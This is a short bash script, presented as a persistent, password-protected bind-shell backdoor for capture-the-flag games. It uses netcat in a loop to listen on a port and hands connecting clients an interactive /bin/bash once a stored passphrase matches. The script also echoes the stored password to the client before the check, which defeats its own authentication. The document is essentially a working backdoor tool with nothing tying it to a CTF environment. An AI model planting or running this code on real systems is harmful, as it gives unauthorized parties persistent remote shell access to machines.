Persistent bind shell with a password, to use as a checkpoint backdoor in ctfs.

checkpoint.sh

#!/bin/bash
ENDSOCK=0
trap 'let ENDSOCK=1' INT

if [ $1 != "-sh" ];
then
	read -p "passphrase: " PASSWD
	echo -n $PASSWD > .checkpoint.txt
	chmod 600 .checkpoint.txt
	while [ $ENDSOCK != 1 ]
	do
		nc -lknvp $1 -c "$0 -sh"
	done
else
	PASSWD=`cat .checkpoint.txt`
	read -p "Gimme password or gimme liberty" PASSATMPT
	echo "passwd: $PASSWD"
	echo "atmpt: $PASSATMPT"
	if [ "$PASSATMPT" != "$PASSWD" ];
	then
		echo "Get off my lawn."
	else
		/bin/bash 2>&1
	fi
fi